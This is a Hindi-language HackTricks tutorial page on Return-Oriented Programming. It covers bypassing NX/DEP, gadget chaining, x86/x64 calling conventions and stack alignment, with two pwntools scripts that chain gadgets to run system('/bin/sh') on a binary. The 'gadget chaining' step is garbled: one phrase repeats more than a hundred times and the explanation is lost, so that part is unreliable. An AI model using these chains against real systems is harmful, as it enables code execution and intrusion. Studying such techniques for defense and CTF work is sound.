ROP - Return Oriented Programing

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

मूल जानकारी

रिटर्न-ओरिएंटेड प्रोग्रामिंग (ROP) एक उन्नत शोषण तकनीक है जिसका उपयोग No-Execute (NX) या Data Execution Prevention (DEP) जैसी सुरक्षा उपायों को दाखिल करने के लिए किया जाता है। शेलकोड डालने और निष्पादित करने की बजाय, एक हमलावर बाइनरी या लोडेड लाइब्रेरी में पहले से मौजूद कोड के टुकड़ों का उपयोग करता है, जिन्हें "गैजेट्स" कहा जाता है। प्रत्येक गैजेट सामान्यत: ret निर्देश के साथ समाप्त होता है और एक छोटा संचालन करता है, जैसे कि रजिस्टर के बीच डेटा को ले जाना या अंकगणितीय संचालन करना। इन गैजेट्स को एक साथ जोड़कर, एक हमलावर एक पेलोड बना सकता है जिससे वे विभिन्न संचालन कर सकते हैं, NX/DEP सुरक्षा की रक्षा को पार करते हुए।

ROP कैसे काम करता है

  1. नियंत्रण फ्लो हाइजैकिंग: पहले, एक हमलावर को किसी प्रोग्राम के नियंत्रण फ्लो को हाइजैक करने की आवश्यकता होती है, सामान्यत: एक बफर ओवरफ्लो का उपयोग करके स्टैक पर सहेजी गई वापसी पता को अधिक करने के लिए।

  2. गैजेट चेनिंग: फिर हमलावर ध्यानपूर्वक गैजेट्स का चयन करता है और चेनिंग करता है ताकि वह वांछित क्रियाएँ कर सके। इसमें किसी फ़ंक्शन के लिए तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

ROP Chain का x64 उदाहरण

x64 (64-बिट) कॉलिंग कनवेंशन

  • यूनिक्स-जैसे सिस्टम्स पर System V AMD64 ABI कॉलिंग कनवेंशन का उपयोग करता है, जहां पहले छह पूर्णांक या पॉइंटर आर्ग्यूमेंट को रजिस्टर RDI, RSI, RDX, RCX, R8, और R9 में पास किया जाता है। अतिरिक्त आर्ग्यूमेंट स्टैक पर पास किए जाते हैं। रिटर्न वैल्यू RAX में रखी जाती है।

  • Windows x64 कॉलिंग कनवेंशन में पहले चार पूर्णांक या पॉइंटर आर्ग्यूमेंट के लिए RCX, RDX, R8, और R9 का उपयोग किया जाता है, अतिरिक्त आर्ग्यूमेंट स्टैक पर पास किए जाते हैं। रिटर्न वैल्यू RAX में रखी जाती है।

  • रजिस्टर: 64-बिट रजिस्टर में RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP, और R8 से R15 शामिल हैं।

गैजेट्स खोजना

हमारे उद्देश्य के लिए, हमें RDI रजिस्टर को सेट करने की अनुमति देने वाले गैजेट्स पर ध्यान केंद्रित करना होगा (जिससे system() को "/bin/sh" स्ट्रिंग के रूप में आर्ग्यूमेंट पास किया जा सके) और फिर system() फ़ंक्शन को कॉल करना। हम मान लेंगे कि हमने निम्नलिखित गैजेट्स की पहचान कर ली है:

  • pop rdi; ret: स्टैक के शीर्ष मान को RDI में पॉप करता है और फिर वापस लौटता है। system() के लिए हमारे आर्ग्यूमेंट सेट करने के लिए आवश्यक।

  • ret: कुछ स्थितियों में स्टैक संरेखण के लिए उपयोगी एक सरल रिटर्न।

और हम system() फ़ंक्शन का पता जानते हैं।

ROP Chain

नीचे एक उदाहरण है जिसमें pwntools का उपयोग करके x64 पर system('/bin/sh') को निष्पादित करने के लिए एक ROP चेन सेट करने और निष्पादित करने के लिए किया गया है:

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

स्टैक समरेखण

x86-64 ABI सुनिश्चित करता है कि जब एक कॉल इंस्ट्रक्शन को निष्पादित किया जाता है, तो स्टैक 16-बाइट समरेखित होता है। LIBC, प्रदर्शन को अनुकूलित करने के लिए, SSE इंस्ट्रक्शन (जैसे movaps) का उपयोग करता है जो इस समरेखण की आवश्यकता है। यदि स्टैक सही ढंग से समरेखित नहीं है (यानी RSP 16 का एक गुणक नहीं है), तो ROP श्रृंखला में system जैसी फ़ंक्शन के कॉल में विफलता होगी। इसे ठीक करने के लिए, आपके ROP श्रृंखला में ret गैजेट जोड़ें जो सिस्टम को कॉल करने से पहले स्टैक समरेखण सुनिश्चित करेगा।

x86 बनाम x64 मुख्य अंतर

क्योंकि x64 पहले कुछ तर्कों के लिए रजिस्टर का उपयोग करता है, इसे आम फ़ंक्शन कॉल के लिए x86 की तुलना में कम गैजेट की आवश्यकता होती है, लेकिन सही गैजेट्स का पता लगाना और उन्हें चेनिंग करना अधिक जटिल हो सकता है क्योंकि रजिस्टरों की बढ़ी हुई संख्या और बड़े पते का अंतर्वस्तु अंतर्वस्तु में वृद्धि करते हैं। x64 आर्किटेक्चर में बढ़ी हुई रजिस्टरों की संख्या और बड़े पते का अंतर्वस्तु विकसित करने के लिए अवसर और चुनौतियाँ प्रदान करते हैं, विशेष रूप से Return-Oriented Programming (ROP) के संदर्भ में।

Last updated